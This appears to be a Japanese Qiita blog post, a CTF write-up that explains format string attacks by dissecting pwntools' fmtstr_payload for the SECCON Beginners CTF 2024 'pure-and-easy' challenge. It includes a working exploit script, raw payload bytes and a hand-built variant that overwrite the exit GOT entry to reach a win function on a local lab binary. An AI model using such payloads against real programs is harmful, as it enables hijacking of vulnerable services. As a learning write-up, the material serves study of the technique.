1
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

fmtstr_payloadを紐解いて書式文字列攻撃を理解する

Last updated at Posted at 2024-07-12

はじめに

この記事はCTFにおける書式文字列攻撃(Format String Attack)を理解するために、pwntoolsのfmtstr_payloadを紐解いていく記録です。

題材はSECCON Beginners CTF 2024で出題されたpwnカテゴリ「pure-and-easy」です。

フォーマットストリングバグはCWE-134という脆弱性タイプで定義されており、最近でも緊急度の高い脆弱性に含まれていたりします。

目次

模範解答

下記のwriteupを参考にさせていただきました。

作門者writeup 公式の解法です。

kurenaif 動画で説明されています。

ゼオスTTのブログ 非常にシンプルなコードで書かれています。

問題環境

問題の中で提示された内容は以下になります。

  • 接続先FQDN
  • 接続先ポート
  • 実行ファイル(chall)
  • ソースファイル(src.c)
  • Dockerfile
  • compose.yml

脆弱性の判定等一部手順は省略しています。

フォーマットストリンバグの確認

  • ソースファイルでprintf関数の引数で変数を直接参照していることを確認
src.c
int main() {
  char buf[0x100] = {0};
  printf("> ");
  read(0, buf, 0xff);
  printf(buf);           <---
  exit(0);
}
  • 実行ファイルを逆アセンブルしwin関数の存在及びアドレスを確認
% objdump --syms chall | grep win
0000000000401341 g     F .text		 0000006c win
  • 0x401341 このアドレスにジャンプできれば勝ち

オフセットを確認

  • ここでのオフセットとは入力文字(ペイロード)が格納されるスタックの位置のこと
  • chall(ELF64)の実行環境がなかったため付属のDockerを起動
% docker compose up
  • オフセット確認用の文字列を作成
% python -c "print('A'*8 + ',%p' * 10)"
AAAAAAAA,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p
  • %p はポインタの値を出力するが引数がなければレジスタ、スタックの値を出力する

  • オフセット確認用の文字列を入力

% nc localhost 9000                    
> AAAAAAAA,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p     <---上で出力した内容をコピペ
AAAAAAAA,0x7ffdf5b90fb0,0xff,0x7fbc6e5caa61,0x2,0x7fbc6e6ca380,0x4141414141414141,0x252c70252c70252c,0x2c70252c70252c70,0x70252c70252c7025,0xa70252c70252c
  • Aのasciiコードである0x41の連続が6つ目なのでオフセットは6

このオフセットの確認はpwnlib.fmtstr.FmtStrで自動化可能
python3-pwntools

書き換え先のアドレス調査

  • 書式文字列攻撃が成立するprintf関数の位置を確認し、その位置より後ろで書き換えが成立しそうな命令を探す
% objdump -M intel -d chall

00000000004011a6 <main>:
#省略
 40131e:	e8 4d fd ff ff       	call   401070 <read@plt>
 401323:	48 8d 85 f0 fe ff ff 	lea    rax,[rbp-0x110]
 40132a:	48 89 c7             	mov    rdi,rax
 40132d:	b8 00 00 00 00       	mov    eax,0x0
 401332:	e8 19 fd ff ff       	call   401050 <printf@plt>   <---
 401337:	bf 00 00 00 00       	mov    edi,0x0
 40133c:	e8 6f fd ff ff       	call   4010b0 <exit@plt>   <---

セクション .plt の逆アセンブル:
 00000000004010b0 <exit@plt>:
 4010b0:	ff 25 8a 2f 00 00    	jmp    QWORD PTR [rip+0x2f8a]        # 404040 <exit@GLIBC_2.2.5>
 4010b6:	68 08 00 00 00       	push   0x8
 4010bb:	e9 60 ff ff ff       	jmp    401020 <_init+0x20>
  • 今回はwin関数までジャンプするためにGOTを活用する
 % objdump -M intel -R chall

chall:     ファイル形式 elf64-x86-64

DYNAMIC RELOCATION RECORDS
OFFSET           TYPE              VALUE
# 省略
0000000000404040 R_X86_64_JUMP_SLOT  exit@GLIBC_2.2.5
  • pwntoolsでも実行ファイルを読ませてアドレスを確認できる
% python3.10 -c "from pwn import *;
                 elf = ELF('./chall'); 
                 print(hex(elf.got['exit']))" 
[*] './chall'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
0x404040

書式文字列攻撃ペイロード解析

  • pwntoolsのfmtstrを使ってペイロードを作成します
  • 事前に確認した①オフセット②書き換え対象アドレス③ジャンプ先関数アドレスが必要になります
p.py
from pwn import *

context.arch = 'amd64'
elf = ELF('chall')

with remote('localhost', 9000) as r:
    writes_dict = {elf.got['exit']: elf.symbols['win']}     <---2 3
    payload = fmtstr_payload(6, writes_dict)                <---1 
    r.sendlineafter(b'> ', payload)
    ret = r.recvall()
    print(ret)

    print('fmtstr_payload: ' +  str(payload))
    print('exit.addr: ' + str(hex(elf.got['exit'])))
    print('win.addr: ' + str(hex(elf.symbols['win'])))
  • これでフラグがゲットできます
 % python3.10 p.py
[+] Opening connection to localhost on port 9000: Done
[+] Receiving all data: Done (355B)
[*] Closed connection to localhost port 9000
b'                                                                \xd0                                                                                                                                                                                                                 \xff                                            aaaaaba@@@ctf4b{****}\n\nctf4b{****}\n\n'
fmtstr_payload: b'%65c%11$lln%210c%12$hhn%45c%13$hhnaaaaba@@@\x00\x00\x00\x00\x00A@@\x00\x00\x00\x00\x00B@@\x00\x00\x00\x00\x00'
exit.addr: 0x404040
win.addr: 0x401341

fmtstr_payloadはstrとhexが混在しているためうまく出力されませんが
fmtstr_splitを使うと書式文字列とアドレスを分割して出力できます。

  • ペイロードが文字化けしてしまうので、wiresharkでパケットを確認して実際の値を確認します

image.png

  • パケット上のペイロード
Packets don't lie
25363563253131246c6c6e25323130632531322468686e253435632531332468686e6161616162614040400000000000414040000000000042404000000000000a
  • 前半に3つの%n書式がある
% echo  '25363563253131246c6c6e25323130632531322468686e253435632531332468686e616161616261'  |  xxd -ps -r 
%65c%11$lln%210c%12$hhn%45c%13$hhnaaaaba
          ^           ^          ^
  • 後半は3つの64bitアドレスがある
% echo -e '4040400000000000414040000000000042404000000000000a' | fold -16 
4040400000000000
4140400000000000
4240400000000000
0a                    <---これは改行
  • 確認のためpwntoolsなしで再現してみる
% python -c 'print("%65c%11$lln%210c%12$hhn%45c%13$hhnaaaaba" + "\x40\x40\x40\x00\x00\x00\x00\x00" + "\x41\x40\x40\x00\x00\x00\x00\x00" + "\x42\x40\x40\x00\x00\x00\x00\x00")' | nc localhost 9000
>                                                                 ?                                                                                                                                                                                                                 ?                                            aaaaaba@@@ctf4b{****}

ctf4b{****}
  • できた!

payloadの構成要素に分割

%65c%11$lln
%210c%12$hhn
%45c%13$hhn
aaaaba
\x40\x40\x40\x00\x00\x00\x00\x00
\x41\x40\x40\x00\x00\x00\x00\x00
\x42\x40\x40\x00\x00\x00\x00\x00
0a
  • 各書式のおさらい
オプション 意味
%n 整数変数に出力済み文字数を格納
%<数字>c 最小フィールド幅
<数字>$ 引数を指定する(ダイレクトパラメータアクセス)
  • 長さ修飾子
修飾子 意味
%lln 16byte
%ln 8byte
%n 4byte
%hn 2byte
%hhn 1byte
  • 引数の位置(オフセット)とペイロード
offset hex
6 2536356325313124 %65c%11$
7 6c6c6e2532313063 lln%210c
8 2531322468686e25 %12$hhn%
9 3435632531332468 45c%13$h
10 686e616161616261 hnaaaaba
11 4040400000000000 0x0000000000404040
12 4140400000000000 0x0000000000404041
13 4240400000000000 0x0000000000404042

%65c%11$lln を見る

  • 11番目の引数の場所へ16byteの長さで41を書き込む
  • 11番目の引数は0x00000000404040となる
  • 65は16進数に変換すると41になる
% printf %x 65
41
  • win.addr: 0x401341 のうち41だけ書き込んでいる

%210c%12$hhn を見る

  • 12番目の引数の場所へ1byteの長さで210+aを書き込む
  • +aは前段で出力されたデータ分を加算する
  • 12番目の引数は0x0000000000404041になる
% printf %x $((210 + 65))
113                                    
  • 1byte長としているので桁溢れは無視されて13になる
  • win.addr: 0x401341 のうち13だけ書き込んでいる

%45c%13$hhn を見る

  • 13番目の引数の場所へ1byteの長さで45+a+bを書き込む
  • 13番目の引数は0x0000000000404042になる
% printf %x $((45 + 65 + 210))
140                             
  • 1byte長としているので桁溢れは無視されて40になる
  • win.addr: 0x401341 のうち40だけ書き込んでいる

それぞれ41,13,40を1byteづつずらしたアドレスへ書き込んでいる。

最初の書き込み

0x404040: 41
0x404041: 00
0x404042: 00
0x404043: 00
0x404044: 00
0x404045: 00
0x404046: 00
0x404047: 00
0x404048:

2回目の書き込み

0x404040: 41
0x404041: 13
0x404042: 00
0x404043: 00
0x404044: 00
0x404045: 00
0x404046: 00
0x404047: 00
0x404048:

3回目の書き込み

0x404040: 41
0x404041: 13
0x404042: 40
0x404043: 00
0x404044: 00
0x404045: 00
0x404046: 00
0x404047: 00
0x404048:

  • これで0x404040へ0x00000000401341(win)が書き込めた

  • aaaabaはアドレスまでを16byte区切りにするためのパディングに利用されている

なぜ3回に分けるのか?

  • フィールド幅指定はサーバからの出力に影響する。3byte分(0x404040 = 4210752)のアドレスを10進数で入力しようとするとサーバからの応答もその分長くなってしまう
  • 今回のように3回に分けてもサーバから出力されるスペースはそれなりにある(今回は320個ほど)
% python -c 'print("%65c%11$lln%210c%12$hhn%45c%13$hhnaaaaba" + "\x40\x40\x40\x00\x00\x00\x00\x00" + "\x41\x40\x40\x00\x00\x00\x00\x00" + "\x42\x40\x40\x00\x00\x00\x00\x00")' | nc localhost 9000
>                                                                 ?                                                                                                                                                                                                                 ?                                            aaaaaba@@@ctf4b{****}

ctf4b{****}

ペイロードを書く

2回で書き込むとどうなるか?

  • 2つ目の長さ修飾子を2byteに変更
  • 0x4013を10進にすると16403
  • 16403から65を引いて16338
  • 3つ目の書き込みを無くすためオフセットが2つずれる
  • パディングを調整
2回書き込みペイロード
%65c%9$lln
%16338c%10$hn
a
\x40\x40\x40\x00\x00\x00\x00\x00
\x41\x40\x40\x00\x00\x00\x00\x00
0a
offset hex
6 253635632539246c %65c%9$l
7 6c6e253136333338 ln%16338
8 6325313024686e61 c%10$hna
9 4040400000000000 0x0000000000404040
10 4140400000000000 0x0000000000404041

「%16338c%10$hn」を見る

  • 10番目の引数の場所へ2byteの長さで16338+aを書き込む
  • 10番目の引数は0x0000000000404041になる
% printf  %x $((65 + 16338))
4013                         
  • hnで2byte長にしているためそのまま4013が書き込まれる

41は同じ、4013は一回で書き込む

最初の書き込み

0x404040: 41
0x404041: 00
0x404042: 00
0x404043: 00
0x404044: 00
0x404045: 00
0x404046: 00
0x404047: 00
0x404048:

2回目の書き込み

0x404040: 41
0x404041: 13
0x404042: 40
0x404043: 00
0x404044: 00
0x404045: 00
0x404046: 00
0x404047: 00
0x404048:

  • pythonから実行してみる
% python3.10 -c 'print("%65c%9$lln%16338c%10$hna" + "\x40\x40\x40\x00\x00\x00\x00\x00" + "\x41\x40\x40\x00\x00\x00\x00\x00")' | nc localhost 9000
>                                                                 ?                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 ?a@@@ctf4b{****}

ctf4b{****}

できた!
2byteで書き込みしたため膨大な量のスペースが出力されてしまいました。
これを避けるためにpwntoolsでは3回に分けているようです。

最後に

今回はセキュリティ(CTF)の勉強のためpwntoolsのfmtstr_payloadを紐解き改変を行いました。
FSB問題を解くにはpwntoolsに任せた方が簡単で早いですが、今後は手動でチャレンジしてみたいです。

1
0
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
1
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?